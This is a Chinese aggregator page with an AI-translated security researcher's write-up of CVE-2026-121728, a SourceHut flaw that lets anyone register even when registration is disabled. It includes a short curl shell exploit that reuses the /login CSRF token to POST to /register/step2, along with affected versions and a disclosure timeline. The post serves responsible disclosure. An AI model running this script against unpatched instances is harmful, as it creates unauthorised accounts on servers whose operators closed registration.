返回资讯中心
外部精选
软件工程
#开发者实时流

SourceHut 修复注册绕过漏洞 CVE-2026-121728

来源标题:Sourcehut disabled registration bypass – CVE-2026-121728

SourceHut 修复了一个注册绕过漏洞 CVE-2026-121728。该问题源于 2021 年注册代码从前端迁移至 GraphQL 后端时引入的逻辑缺陷:前端虽显示注册已关闭,但表单处理逻辑仍然存在,攻击者可借此绕过注册限制。研究者还提到此前曾披露该平台 CI 系统的 XSS 账号接管漏洞。

Hacker News 最新birdculture2026/11/6 · 今天12 分钟阅读

以下正文由 AI 翻译自 Hacker News 最新(原文版权归原站所有),可能存在偏差,重要内容请以原文为准。

(给技术宅的纯文本版——欢迎提交补丁)

话说,上次我写的是在 SourceHut 的 CI 平台上利用 XSS 实现账户接管的事。这次我发现的问题影响力远没那么大,但依然挺有意思。抱歉拖了这么久,我的 SSD 是真的挂了1,等保修维修期间只好买了块二手的(你最近看过价格吗??)2。它终于到了,所以我就来了。所以,如果你想让我干活快点,就给我打点钱吧。3

再次声明:没有用 NLP。你可能知道,我对当下这波自然语言处理热潮并不怎么感冒。4 本研究没有使用 NLP。所有错误都是我自己的。

背景 SourceHut 一直在进行相当大规模的架构调整。它的前端最初是用 Flask 和 Jinja 模板以及 SQLAlchemy 构建的。但出于性能原因,以及其他原因(业务逻辑解耦、graphql),API 被移植到了 Go。

问题 2021 年,在把注册代码从前端迁移到 graphql 后端的过程中,引入了一个隐蔽的逻辑 bug。前端从不显示注册表单,并且醒目地写着「注册目前已关闭」,但表单处理程序仍然存在。它在每条错误路径上都正确地提示注册已关闭,但在正常路径上似乎根本没有检查这一点。所以,如果你恰好还记得怎么提交那个表单……

利用 你只需要用想要的用户名、邮箱和密码向 /register/step2 发一个 POST 请求。如果目标服务器禁用了注册,但 SMTP 配置正常(你仍然需要完成邮箱确认),砰,你就进去了。

只有一个坑:csrf token——用于防范跨站请求伪造,比如说一个 www.attacker.com 的页面包含(或 307 重定向到)目标站点,因为是的,你可以向其他站点提交表单,而且是的,请求会带上有效的 cookie。其他站点无法知道的是专门呈现给你的表单里各输入字段的值,所以典型的防护手段就是 [csrf token]。

由于不显示注册表单,也就没有 token。不过,幸运的是,对我们攻击者来说,/login 的 token 完全可以用。

利用代码 #!/bin/sh #META=https://meta.copyleft.market META=http://127.0.0.1:5000 USERNAME=azurediamond EMAIL=test@example.com PASSWORD=hunter2 csrf=$(curl -c cookie.txt $META/login |grep -A1 csrf |cut -d' -f2 |tail -1) curl -v -b cookie.txt $META/register/step2 \ -d _csrf_token="$csrf" \ -d username="$USERNAME" \ -d email="$EMAIL" \ -d password="$PASSWORD"

一些元数据,大概吧?受影响版本:0.56.11 到 0.88.9 受影响实例:至少 10 个(测试前先取得书面许可) CVSS 4.0(主观):CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:D/RE:M/U:Green 入侵指标:未知用户账户(在 meta 上访问 /users) 时间线 2021-09-24 - 漏洞引入 2026-08-13 - 我写道「[meta.copyleft.market 上的]注册已禁用,所以祝你能攻进去」 2026-09-24 - 就在我发布账户接管漏洞文章时,我的 SSD 真的挂了 2026-10-?? - 我一直在想我 2026-08-13 写的那句话 2026-11-02 - 向 SourceHut 的安全邮件列表披露 2026-11-03 - 确认、修复落地、通知下游、本文发布、向 VulnCheck 申请 CVE 编号 2026-11-03 - VulnCheck 分配了 CVE-2026-121728 某天,收益?

总结 经验教训: 重构可能吞掉安全检查。仔细复核认证流程的正确性。如果 token 的作用域被限制在每个表单指向的具体端点,CSRF 防护本可阻止此问题。VulnCheck 不错,但他们的联系渠道还可以更及时一些。有人知道哪个漏洞赏金项目是研究者先付参与费的?我肯定会这么搞我的项目,如果你被提交淹没,也该考虑这么做。

就像我上次说的,我还没完。敬请期待(记得在所有社交平台关注我,当然还有 RSS),顺便,雇我吧,说不定呢。

没关系,我确实做了备份 ↩︎ 拜托,能不能有人……停下这种疯狂?还有谁想直接把旧金山从互联网上切掉?或者跟我一起建个车库 DRAM/SSD 工厂?应该没那么难吧…… ↩︎ 比如买点东西,或者捐赠,或者捐赠(每一欧元或美元对我都有意义)。或者帮我那些付费项目扩大声量!你现在也可以聘请我做专业咨询。 ↩︎ 我是说,transformer 是突破性的,但(不想让本文更长)这和含铅汽油是突破性的一个意思。很酷,但那又怎样。我们以前有燃料,现在有更好的燃料。 ↩︎

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →